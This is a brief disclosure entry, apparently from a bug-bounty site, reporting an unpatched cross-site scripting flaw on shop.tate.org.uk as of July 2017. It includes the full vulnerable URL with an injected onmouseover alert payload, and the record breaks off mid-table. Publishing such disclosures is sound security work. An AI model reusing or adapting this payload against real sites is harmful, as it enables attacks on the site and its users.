shop.tate.org.uk XSS vulnerability

Vulnerable URL: http://shop.tate.org.uk/shop/prints/icat/prints/tate-custom-prints/icat/customprints=icat,5,shop%22onmouseover%3dalert%28/OPENBUGBOUNTY/%29%20rest%3d%22,prints,customprints,richterprints Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017...